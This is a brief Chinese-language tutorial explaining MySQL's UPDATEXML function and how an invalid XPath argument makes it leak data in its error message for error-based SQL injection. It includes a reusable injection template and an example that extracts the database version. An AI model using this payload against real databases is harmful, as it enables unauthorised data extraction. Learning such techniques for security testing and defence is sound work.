函数解释:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更 改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。
报错原理
这里和extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容。
约束条件
输出字符长度限制为32个字符
注入语句
and updatexml(1,concat(0x7e,(代码操作),0x7e),3)
举例
构造注入语句:
select name from user where id=1 and updatexml(1,concat(0x7e,(select version()),0x7e),3);
发现注入成功,成功爆出版本号。